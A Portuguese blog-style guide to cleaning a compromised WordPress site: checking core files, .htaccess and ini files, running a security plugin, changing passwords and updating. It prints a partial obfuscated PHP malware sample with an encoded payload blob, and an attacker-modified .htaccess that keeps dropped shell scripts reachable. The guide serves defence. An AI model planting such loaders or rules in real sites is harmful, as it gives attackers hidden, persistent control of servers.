Antes de começar essa dica vou postar aqui 2 dicas que vai ser essencial para continuidade desse post, a primeira é “Excelente plugin gratuito de segurança para WordPress” e a segunda é “Como realizar buscas de arquivos maliciosos em seu site“
Com essas duas dicas você poderá praticamente resolver problemas de invasão em seu WordPress. Mas precisamos seguir alguns ritos para resolver esse problema e nesse post vamos tentar destrinchar esse problema que vem se tornando uma dor de cabeça frequente na vida de quem possui um site em WordPress.
Verificar estrutura principal
Verifique a estrutura principal inicial do seu WordPress. Chamamos de estrutura principal tudo que está no index do seu CMS, veja abaixo o que é padrão da estrutura principal do WordPress:
wp-admin/ wp-config.php wp-cron.php wp-load.php wp-settings.php xmlrpc.php
index.php readme.html wp-blog-header.php wp-config-sample.php wp-includes/ wp-login.php wp-signup.php
license.txt wp-activate.php wp-comments-post.php wp-content/ wp-links-opml.php wp-mail.php wp-trackback.php
Quando não esta com este padrão, então verifique qualquer tipo de arquivo adicional, data que foi adicionado, entre outros. A seguir exemplo de uma estrutura comprometida:
Como pode ser visto, vários arquivos foram adicionados e com certeza esses arquivos contêm códigos maliciosos para acesso a toda estrutura do seu site e quiça todo servidor.
Verifique se há adição de scripts maliciosos nos arquivos core do WordPress
Nesta última imagem vemos além de arquivos maliciosos, vemos também arquivos core(arquivos da estrutura do WordPress) que foram modificados. O invasor realizou a inserção de scripts maliciosos e geralmente a padrões nessa inserção no qual você poderá estar usando para pesquisar e limpar esses arquivos.
Abaixo alguns exemplos desses padrões:
<?php $H1xiU
=function
($lU1 ) {$Sx0 = "Q";$Tg13YDGX='S'.'W';
$Tg13YDGX.= ((94 -90) /4). 'T' ; $Tg13YDGX .=^M $Sx0[(36 - 35- 1) / 5] .
''; return $Tg13YDGX($lU1);
};
$fOHwiF^M=function ($q2LjZaL ,$fibCjHKZ ,$DOO2D) {$CB9t="Ijs_XmqhcKPU"; return $CB9t;
}; ^M
$hwSkYxqOb = function (){return "sAIc7KN7PRwbv464TOs9L";
};$pIkm = function ($EbJ6I) {$i8etl = "Tmav";$YkAE9_5z=$i8etl[(48 - 45- 3)/ 2] .$i8etl[(21- 26 + 10) /5] .$i8etl[(91-76) /5]. $i8etl[(52 - 36 -4) / 6]
. 's' . 'y'.'N'
; $YkAE9_5z .='g'; $YkAE9_5z^M.=^M 'r'. ''; $YkAE9_5z=
str_rot13($YkAE9_5z);return $YkAE9_5z($EbJ6I); };$ZPK='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';
...
...
...
Esse acima o invasor nem se preocupou em só inserir script malicioso, ele alterou toda estrutura do arquivo index.php, aí, logo de cara, já podemos remover tudo e inserir apenas o padrão WordPress.
Essa acima é o arquivo wp-login.php comprometido com código malicioso.
Verifique arquivos .user.ini, php.ini e .htaccess
Existe também 3 arquivos que você precisa verificar se esta fora do padrão ou foi adicionado. É o .htaccess, php.ini e o .user.ini
Esses 2 últimos você precisa saber se realmente existia em sua conta ou não, pois estes são arquivos de configuração de usuário, e eles às vezes são usados para adicionar mais recursos do php para seu site. Caso você não tenha feito essa configuração, suspeite deles. Abaixo vou citar o exemplo do .htaccess padrão e modificado do WordPress:
Padrão
-=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=-
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
-=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=-
Modificado
-=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=-
<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(votes|themes|xmlrpcs|uninstall|wp-login|radio|locale|admin|kill|a|allht|index|index1|admin2|license3|votes4|foot5|font|wjsindex|load|home|items|store|font-editor|contents|access|end|years).php$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
Sempre ficar atento para não se confundir com modificações realizadas por plugins de segurança comum no WordPress.
Verificação de Malware em toda estrutura
Após realizar toda limpeza na estrutura inicial, verifique se o WordPress esta acessando e realize o login no wp-admin para instalação do plugin de segurança informado no início deste post.
Essa etapa é a mais importante, pois ela realizará a limpeza de toda estrutura para depois de tudo isso você começar a realizar a atualização do seu WordPress.
Trocar senhas de tudo.
Após toda limpeza realizada você deverá trocar todas as senhas relacionada ao seu site. Troque senha de servidor, painel, e-mail e principalmente do WordPress. Troque por senhas de segurança forte.
Mantenha seu WordPress atualizado
É de extrema importância esse passo, pois as atualizações sempre fecham brechas de segurança descobertas em versões anteriores, plugins, temas e principalmente o core do WordPress.
Com essas dicas seu WordPress voltará a ficar protegido e você voltará a ter sossego em seu servidor.